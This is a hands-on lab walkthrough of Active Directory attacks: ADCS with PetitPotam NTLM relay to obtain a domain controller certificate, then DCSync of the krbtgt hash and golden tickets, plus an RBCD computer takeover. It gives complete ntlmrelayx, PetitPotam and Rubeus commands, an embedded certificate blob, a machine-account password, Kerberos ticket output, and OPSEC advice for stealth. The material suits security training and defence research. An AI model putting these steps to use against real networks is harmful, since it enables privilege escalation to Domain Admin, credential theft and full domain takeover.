ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate

This is a quick lab to familiarize with an Active Directory Certificate Services (ADCS) + PetitPotam + NLTM Relay technique that allows attackers, given ADCS is misconfigured (which it is by default), to effectively escalate privileges from a low privileged domain user to Domain Admin.
The ADCS vulnerabilities were researched by Will Schroeder and Lee Christensen in Certified Pre-Owned, PetitPotam was researched by Gilles Lionel @topotam77, ADCS attack implemented in impacket by ExAndroidDev.
Conditions
Below are some of the conditions making an AD environment vulnerable to ADCS + NTLM relay attack:
ADCS is configured to allow NTLM authentication;
NTLM authentication is not protected by EPA or SMB signing;
ADCS is running either of these services:
Certificate Authority Web Enrollment
Certificate Enrollment Web Service
Overview
Below provides a high level overview of how the attack works:
1.Get a foothold in an AD network with a misconfigured ADCS instance;
2.Setup an NTLM relay listener on a box you control, so that incoming authentications are relayed to the misconfigured ADCS;
3.Force the target DC to authenticate (using PetitPotam or PrintSpooler trick) to the box running your NTLM relay;
4.Target DC attempts to authenticate to your NTLM relay;
5.NTLM relay receives the DC$ machine account authentication and relays it to the ADCS;
6.ADCS provides a certificate for the target DC$ computer account;
7.Use the target DC's computer account certificate to request its Kerberos TGT;
8.Use target DC's computer account TGT to perform DCSync and pull the NTLM hash of krbtgt;
9.Use krbtgt NTLM hash to create Golden Tickets that allow you to impersonate any domain user, including Domain Admin.
Below visualizes the concept:
​
Domain Takeover
Lab Setup
This part of the lab is setup with the following computers and servers:
10.0.0.5 - Kali box with NTLM relay;
10.0.0.6 - target Domain Controller DC01. This is the target DC that we will coerce to authenticate to our NTLM relay on 10.0.0.5;
10.0.0.10 - Certificate Authority (CA01). This is where our NTLM relay 10.0.0.5 will forward DC01 authentication;
10.0.0.7 - Windows worksation (WS01). This is the initial foothold in the network and this is the machine that will force the DC01 to authenticate to our NTLM relay on 10.0.0.5;
Installing Tools
Let's pull the version of impacket that has ADCS attack implemented and checkout the right branch:
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git clone https://github.com/ExAndroidDev/impacket.git
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cd impacket
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git checkout ntlmrelayx-adcs-attack
Copied!
Installing impacket and switching to the adcs attack branch
Configuring Virtual Environment
Prepare a python virtual environment for impacket. Start by installing the virtual environment package:
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apt install python3-venv
Copied!
Installing python3 virtual environment
Create and activate a new virtual python environment called impacket:
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python3 -m venv impacket
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source impacket/bin/activate
Copied!
Initiating and activating the impacket virtual environment
Let's install all impacket dependencies:
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pip install .
Copied!
Installing impacket dependencies
Finding Certificate Authority
On WS01, we can use a Windows LOLBIN certutil.exe, to find ADCS servers in the domain:
CA01 is a Certificate Authority
We confirm that in our domain, CA01 is our Certificate Authority that we will be relaying DC01$ authentication to.
Setting up NTLM Relay
On Kali box at 10.0.0.5, let's setup our NTLM relay to forward incoming authentications from DC01$ to the CA01, or more specifically to one of its HTTP endpoints for certificate enrollment http://ca01/certsrv/certfnsh.asp like so:
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examples/ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs
Copied!
NTLM relay is ready and waiting for incoming authentications
Forcing DC01 to Authenticate to NTLM Relay
From WS01, let's force the DC01 to authenticate to our NTLM relay at 10.0.0.5 by executing PetitPotam:
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.\PetitPotam.exe 10.0.0.5 dc01
Copied!
DC01 is coerced to authenticate to 10.0.0.5. DC01$ certificate is retrieved from CA01
Above shows how:
DC01 was forced to authenticate to 10.0.0.5;
10.0.0.5 relayed the DC01$ authentication to CA01;
CA01 issued a certificate for the DC01$ computer account.
Requesting DC01$ TGT
On WS01, we can now use rubeus to request a Kerberos TGT for the DC01$ computer account like so:
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.\Rubeus.exe asktgt /outfile:kirbi /user:dc01$ /ptt /certificate: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
Copied!
Use runas /netonly /user:fake powershell to create a new/sacrificial logon session into which the DC01$ TGT will be injected to prevent messing up TGTs/TGSs for your existing logon session.
TGT for DC01$ retrieved and injected into the current logon session
klist confirms we now have a TGT for DC01$ in the current logon session:
TGT for DC01$ in memory
We can now perform DCSync and pull the NTLM hash for the user offsense\krbtgt:
DCSync: Dump Password Hashes from Domain Controller
DCSync pulls NTLM hash of krbtgt
Having the NTLM hash for krbtgt allows us to create Kerberos Golden Tickets.
Kerberos: Golden Tickets
Remember
It's worth remembering that in some AD environments there will be highly privileged accounts connecting to workstations to perform some administrative tasks and if you have local administrator rights on a compromised Windows box, you can perform ADCS + NTLM relay attack to request a certificate for that service account. 
To do so, you'd need the following:
Reminder
Consider your OPSEC.
Stop the SMB service on the compromised box. This requires local admin privileges on the box and a reboot to stop the machine from listening on TCP 445;
Spin up the NTLM relay on TCP 445;
Wait for the service account to connect to your machine;
Incoming service account authentication is relayed to the ADCS, which spits out the service account certificate;
Use service account's certificate to request its Kerberos TGT;
You've now gained administrative privileges on machines the compromised service account can access.
RBCD: Remote Computer Takeover
It's also possible to gain administrative privileges over any remote computer given we have network access to that computer, as pointed out by Lee Christensen:
Lab Setup
This part of the lab is setup with the following computers and servers:
10.0.0.5 - Kali box with NTLM relay;
10.0.0.7 - Windows worksation (WS01). This is the box we will coerce to authenticate our Kali box, which will relay the authentication to DC01 and setup the computer WS01 for a remote takeover;
10.0.0.6 - Domain Controller DC01;
10.0.0.10 - Certificate Authority (CA01). This is the box from which we will coerce WS01 to authenticate to DC01;
Setting up NTLM Relay
Let's set up our NTLM relay on the Kali box to relay authentications to DC01 via LDAP and specify the --delegate-access flag, which will automate the Resource Based Constrained Delegation (RBCD) attack steps:
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examples/ntlmrelayx.py -t ldaps://dc01 -smb2support --delegate-access
Copied!
Notes about RBCD takeover:
Kerberos Resource-based Constrained Delegation: Computer Object Takeover
Forcing WS01 to Authenticate to NTLM Relay
On computer CA01, let's invoke PetitPotam and coerce WS01 (10.0.0.7) to authenticate to our Kali box (10.0.0.5) where our NTLM relay is setup:
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.\PetitPotam.exe [email protected]/spotless.txt 10.0.0.7
Copied!
On our Kali box, we can see the the incoming authentication from WS01$ was relayed to ldaps://dc01 and that a new computer quaiivve$ account (that WS01 now trusts and allows to impersonate any domain user), was created:
LDAP relay succeeds, delegation rights setup
Below screenshot shows that the QUAIIVEE computer account has been indeed created and WS01$ has some privileges to it:
Computer AD object created as part of RBCD attack
Additionally, we can see that the attribute msDS-AllowedToActOnBehalfOfOtherIdentity on computer object WS01 contains some binary value, which is empty by default on computer objects:
WS01 has been configured for RBCD attack
From Kerberos Resource-based Constrained Delegation: Computer Object Takeover, we know that the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, after we've successfully performed the LDAP relay attack, effectively encodes the following: computer WS01 trusts the computer account QUAIIVVE$ and allows it to impersonate any domain user, including Domain Admins and grant them administrative access to WS01.
Calculating Hash
On computer CA01, let's calculate the RC4 hash for the newly created computer account's QUAIIVVE$: password:
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.\Rubeus.exe hash /domain:offense.local /user:QUAIIVVE$ /password:'K_-Jzsb&uK!`TIH'
Copied!
Rubeus calculates the RC4 hash - 3F55290748348504327CDA267FCCA190
Impersonating Domain Admin on WS01
Time to impersonate a Domain Admin.
While on CA01, we can use rubeus s4u command, which will:
1.Retrieve a TGT for offense.local\QUAIIVVE$;
2.Perform S4U2Self, which is a Kerberos extension that allows a service to obtain a TGS to itself on another user's behalf. So in our case, the CA01 will request a TGS for [email protected] as [email protected];
3.Perform S4U2Proxy, which is a Kerberos extension that enables services to request TGS tickets to other services on behalf of a given user. In this instance, a TGS will be requested for cifs/ws01.offense.local, which will allow CA01 to access WS01 computer's file system (i.e.,  c$ share) on behalf of the Domain Admin [email protected]:
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PS C:\tools> .\Rubeus.exe s4u /user:QUAIIVVE$ /rc4:3F55290748348504327CDA267FCCA190 /impersonateuser:[email protected] /msdsspn:cifs/ws01.offense.local /ptt /domain:offense.local
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​
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   ______        _
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  (_____ \      | |
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   _____) )_   _| |__  _____ _   _  ___
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  |  __  /| | | |  _ \| ___ | | | |/___)
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  | |  \ \| |_| | |_) ) ____| |_| |___ |
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  |_|   |_|____/|____/|_____)____/(___/
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​
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  v1.6.4
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​
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[*] Action: S4U
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​
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[*] Using rc4_hmac hash: 3F55290748348504327CDA267FCCA190
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[*] Building AS-REQ (w/ preauth) for: 'offense.local\QUAIIVVE#x27;
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[+] TGT request successful!
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[*] base64(ticket.kirbi):
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​
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      doIFAjCCBP6gAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAg
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      oAMCAQKhGTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWyjggPJMIIDxaADAgESoQMCAQKiggO3BIIDs4cS
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      mkUPxpLm/0VamMXun7JiMnv9KdcA6NEDqqRxGkaCnqAOUJuORZr8IMBRZIAQQ/0uMPqZFka4H/3hmGDu
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      j/nkZbIAAfKUnuXDEynJYR+Ra8u23pmYd2uTEtKFbNkiorpmoQVpEvgrpIWcE2qRsL2Gf4dVuV2NCxqV
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      b2aBjmWqWN/nBnaUCjp8B2aGa9FjxdP6s+SgPQiXCoC+80iOLu38Pssb4Cf+RJBNNszdYnPlp3SK9Lyd
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      7tDCsaF3aJO9H6+BYlI43MvQxyu40sW44skSB0sXrru3uFZpW6hdftAnUij3OArEVPjp52LN/VdLoUHq
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      VX/HFeiPlX0Fly0kJ+wAeeLu60r70V6poWQ9PgTjYB1Ak1NGXKIZApUPwiTkraJBQ4rotAnwN+oMu7qS
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      un9A4ARq2xeQDa9CqxXAfdtaBVYrYCwJSZfnzA6hlRVOw5tp7gA9bqvm7fj+gvUgFQhd/1FmTra5JIVp
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      LKmL7Uzj2WKZqPnHygGZ+v+2QMm1vDJXqhbhgL2Civy5Um3tH+F5UVyo24gzxx470EUniLKTJ8EKNHFy
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      idy+KVPJa7FAzzkgQgRDGgxmsYgPeSThKu3fkAijw4mz89aEek93F1/Hc/iMnwpC/7pSg07qy2uY9kz0
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      8yKxOtYC+GBLuCsXsijRIHNbqVdwIGkalVuejvY+iDoC4vGwOiPhYmI1WrC4qUT6c1/hnKBMF+FHmRyS
30
      Njp0lCI0/71gy34xeb0J47hW07AtjiPPO43dU23G8rgWaSkjjws5SerEacHo4onilr47AqA53QRT3JDN
31
      vo1Hy5oWKM1Tm3LfEIjQMv32AkqDqB+zjRM5de+PXpqfUtwSifAq3N4YcfqWHrbNFrU5oz5Cdz3GvxeL
32
      uwgNxbVXXNbfFi1dHQ5XIwNeTyFpdHUglwmOyooqxcMrMiiNTUivRzheeEw+5SJvyHMsmVeQk0MeOUO1
33
      n8Gx8mw18uLU/EvVnmwfOFHLM1d4wpUHuOVOC0TwHM3npuPXR6UzZcvKYHlIeFdeduF8Rt/rNq+vLdKu
34
      5I6EEzc0ZCeuXcXu4FKHd/BDILwhwSK9is2emWmqUMNT+NnbZmHmXugM6I1t2+nIiVmB4DgOarumoomj
35
      PqnkSYnXVxWyF+0bNqCokUKE4RS4igUsWlF8WRhJqZITGVLIqH+YRVuG6N4LqceJm2MAtpPPPRSxJ3SS
36
      v3JP3LS9jvjHKyJZQokp46ZGn87M69o3QvrPPn0A0JZggKO4qTxSoHuhXQBqo4HaMIHXoAMCAQCigc8E
37
      gcx9gckwgcaggcMwgcAwgb2gGzAZoAMCARehEgQQNUQwX1lLwtWzFUCVxDsvo6EPGw1PRkZFTlNFLkxP
38
      Q0FMohYwFKADAgEBoQ0wCxsJUVVBSUlWVkUkowcDBQBA4QAApREYDzIwMjEwNzMxMjAwNzE5WqYRGA8y
39
      MDIxMDgwMTA2MDcxOVqnERgPMjAyMTA4MDcyMDA3MTlaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKh
40
      GTAXGwZrcmJ0Z3QbDW9mZmVuc2UubG9jYWw=
41
​
42
​
43
[*] Action: S4U
44
​
45
[*] Using domain controller: dc01.offense.local (10.0.0.6)
46
[*] Building S4U2self request for: '[email protected]'
47
[*] Sending S4U2self request
48
[+] S4U2self success!
49
[*] Got a TGS for '[email protected]' to '[email protected]'
50
[*] base64(ticket.kirbi):
51
​
52
      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
76
​
77
[*] Impersonating user '[email protected]' to target SPN 'cifs/ws01.offense.local'
78
[*] Using domain controller: dc01.offense.local (10.0.0.6)
79
[*] Building S4U2proxy request for service: 'cifs/ws01.offense.local'
80
[*] Sending S4U2proxy request
81
[+] S4U2proxy success!
82
[*] base64(ticket.kirbi) for SPN 'cifs/ws01.offense.local':
83
​
84
      doIGXDCCBligAwIBBaEDAgEWooIFWDCCBVRhggVQMIIFTKADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiJTAj
85
      oAMCAQKhHDAaGwRjaWZzGxJ3czAxLm9mZmVuc2UubG9jYWyjggULMIIFB6ADAgESoQMCAQOiggT5BIIE
86
      9VCdZpnpXRodSwFgssc1BTs+UtIhkOGTG15XIragjr2cWAzWkqS3COJapihfdZ6PWrloviqo20o0cJdN
87
      fBGxl424ju1seWVZLvZiIZWilzci6m0fYZzwiaG+MwnBq2xu/Yrr8XGvkImJm14gzNpm8KOhHLNWh+nL
88
      GE6+CN9Wc6FMEEAUXKK+Q5k8r4qLT6Z7JOn+kUIfumea856znYAi6nUQvlbD9d01DS2QyGGlNyMMexBl
89
      /QWYP32cO3n0T9X6vgT8ADNmYXCg+DlrNCTFULPcVZ6nrRydDxsuEYhblKba8Zjty4PjAV5n5isdgkTE
90
      EmNjDO68f4savc7TrdguGqdfLP+eX3UkC2tvowioNhV07oq7Z1tQiHiHBVX394ZzVhJzjFohklxO2mXK
91
      RhuiJaHCFqZQcwBTK7Z6w1c/we+FAXjxiVUrCiM9+uoFPEixXIpXIFibFnK9Qu+fp3oTo6Xl7o+168XU
92
      116NKHB0Rm4T9sLhrGxHkkZjTcRhcZSzKbxLiH8u+nbNk1toTK6m67cb4S5WkAqrgdqPGO1fdaTxYQFj
93
      b2AGhAl7HRvWTexxP2yIF6gqJ5UHPq/XyaRB79Jguc4sE4E0spAyA8NuHujCFxX0yBRcna0LrGx09Smz
94
      qHcfHbW/ARxSoONycTcHaJ+KeOFcxOPgMPqoUiqPB9fWcRLsuBExcG9g5DU1cayZk6+rB5Q3WmQ3/cRM
95
      2gTdD2vO9/dKqccVKNn3WyTIVs37+3+0NnU8JmdH657VAVhzFFb2UWfA+YaZv6R9uuNyfKWtGGd6AAjG
96
      YLsEXJ7ZSCY6OOsb2R6r886a+/ug+2aLZhwdecH/KLAIO04bs3/CI0E+1sV0XtAPL/hR4qk1lg/WRVSc
97
      /DSTPG4Bdz6qZ7ugd1KcROerJh2BZfo2nJhtfMeDQOGCefbP57ZhZv1oxmLYm6cRIPB3nz3zxG9Yk8rz
98
      fbi4kw5xZ4uo4W5XwSDAcwvdRSE7Qat0Ey5ScazxuEVtkriDtMjQIiD3wNy/Df4cT2/PwwLj+A4O50oj
99
      5V+H+CJysgcD7XEeBZ3Dp4B9abzS5uYmO8x4a4fhoL4+rW5UBDAJSDuYPMl+W+CQfgo2HYKtS7HSSW54
100
